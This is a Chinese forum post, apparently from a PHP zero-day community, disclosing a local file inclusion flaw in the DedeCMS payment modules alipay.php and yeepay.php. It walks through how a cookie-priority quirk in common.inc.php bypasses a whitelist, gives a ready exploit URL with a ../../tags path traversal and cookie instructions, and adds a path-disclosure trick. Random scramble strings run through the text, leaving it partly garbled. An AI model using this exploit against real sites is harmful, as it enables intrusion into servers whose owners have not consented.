晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
$ K- G( i+ j: C' b4 q# s( y8 }) B9 h; Q' w
出现漏洞的两个文件为:3 i" h2 m1 a$ P# X. D* {2 k7 T
Include/payment/alipay.php
9 T8 B$ p/ Q( S0 f5 {Include/payment/yeepay.php
, a8 m5 Y2 _/ [( W1 ?/ k# F2 P# X! s漏洞均出现在respond方法里,估计这两个文件是临时工写的。2 j5 B7 _: }, x) t* s6 K
+ Z) ^% e0 ]+ v6 z4 ?
Include/payment/alipay.php
. I2 `2 O3 O' n. S6 Y0 w3 a
- I7 C: f! W6 C$ x+ y: j `6 ]% L3 l7 B......9 f9 m1 l" h7 X* V
function respond()) S8 @, R1 I7 l+ D" g
{1 n! u1 e$ m- V4 G8 ]
if (!empty($_POST))/ ~% V- a, ]+ ]6 i
{
5 P' y+ M5 x3 i2 Q" `# y foreach($_POST as $key => $data); F: }8 i0 s+ V
{
9 K" e" ^( M( ^& H/ O $_GET[$key] = $data;
9 F/ o3 f+ Y- _' P3 K8 h6 f }
2 m ?2 j/ t3 H! z }
0 s% f0 k- ?! E J /* 引入配置文件 */- j" W# W. v8 s0 ~/ {6 ~
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
: B" R* F; l5 ~/ m3 P/ s4 @' ?......
- s: E3 p' H. K) J ' H# K0 r% W% F$ {: o( }, ~
* a, y% D7 [- ]# T
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。$ j% N0 ]* h' a5 Z- p, h) o
* b" B0 z' P6 rInclude/payment/yeepay.php
& k- ?" Z" R1 U/ K- c: \' B, P4 {% h% x
8 R; z! `- p1 B, Z6 Q1 E" _9 ?& f% O3 }$ m, J: t5 U( X! f
......( }2 t+ P. ?: K: f
function respond()6 s$ r {7 N+ Q: O( V
{+ M, \" T. z$ r+ J, L" ]. |
7 h9 g$ }4 V2 S /* 引入配置文件 */
- Y5 U* I P. e# p# L require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
% i# [; Z0 F7 I- X8 t" N2 Y ; p) Y' b4 y: J; i, Y* }- |; y5 F
$p1_MerId = trim($payment['yp_account']);, Z3 v) u+ J8 s
$merchantKey = trim($payment['yp_key']);
, O m$ {7 p6 b8 g5 K...... . N6 n1 }9 L1 B& G
: v/ \- }6 x$ W! U4 Q/ M4 M
' j: r1 ?* `- U( h$ u9 y
( g/ F* `0 ^ T
8 @$ C1 r3 x, J9 w5 K. c; ` c, s大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
6 K1 b8 Z6 G6 p# ~) }+ Q, `! z2 |! |. ^# _; j2 U" g
这两个方法在plus/carbuyaction.php文件调用。+ K4 z/ M C" @2 {+ D) E2 ^2 j
. I0 v. B6 O) C R+ b$ S7 S& F
plus/carbuyaction.php
. J) F. [, g; @9 m/ z( G
; [' x% C" C) M% P......
) i ^) `* ]# n" p0 Y }- G2 c, P} else if ($dopost == 'return') {+ w" n" q* ]/ o$ n8 k$ y
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
" e) H' j& k$ [% Y, I, P0 R7 {. f if (in_array($code, $write_list))5 I+ U3 p8 i7 B* u U* f
{9 h* w. K# @$ f( l
require_once DEDEINC.'/payment/'.$code.'.php';5 O9 D k) i: v8 z* z
$pay = new $code;
% {( x: U/ b6 @( F% r7 Z0 c2 f $msg=$pay->respond();3 a2 i; ^: {: s8 d5 R! B5 E! m! R9 C
ShowMsg($msg, "javascript:;", 0, 3000);* ]! U1 t9 P, B3 ?# b5 O
exit(); ; E V/ H' o& `2 {& Q
} else {
- u0 M+ J3 G4 h5 Y7 s exit('Error:File Type Can\'t Recognized!');
+ U1 e2 F6 o- Q9 f* \6 X0 [ }3 L& S4 s1 @4 w8 g) ]. W9 F
}
, C# V! L3 T% x& n0 }/ a8 X( B& o* F0 x...... 7 d/ L7 v1 m" n
7 V) C0 j6 s: P9 t9 P0 }4 u
4 G# h" E ?& M
8 }4 R$ w, W5 X8 O `
. z7 Y9 Q% w: |7 V
) P2 X, d5 ~/ I" q$ x/ v8 C" h3 W! R+ g* Q6 [% |5 w
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
1 y- U9 |. f+ X' t6 D5 k6 ?# U0 i$ y( \所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
2 {7 U H: O. @, K' f: y
) p; ^6 ]$ l' p回到include/common.inc.php来看看他的机制。
/ e( ?# z7 h+ b6 n% z
' O$ Z ]% W- F% M ( X4 ~; d7 Z% c4 N" j) {8 Z0 O
7 L4 t8 [. U& P, @$ i+ \4 L......
4 |2 O$ b8 H$ N. d% m& b4 l! Uforeach(Array('_GET','_POST','_COOKIE') as $_request)
* |: [/ j! i' B3 C! @' c{
3 q0 R h! k( Y7 @ foreach($$_request as $_k => $_v)
! M' o: e) i7 s+ v* L, P$ W4 P {
4 w8 E, ?* P( d2 S% c) H- M if($_k == 'nvarname') ${$_k} = $_v;8 J( P* a( Q# C: B p7 P& T& j8 a
else ${$_k} = _RunMagicQuotes($_v);
: @4 }/ f; T7 e }! J# o! Z% Q( V7 J l* O- q) W
}1 |+ q7 R' w+ {2 ?) C) N
......
9 u& k- y) T+ [4 S& E3 D# g大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
- m* l& E/ I) [0 ]; @6 n由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |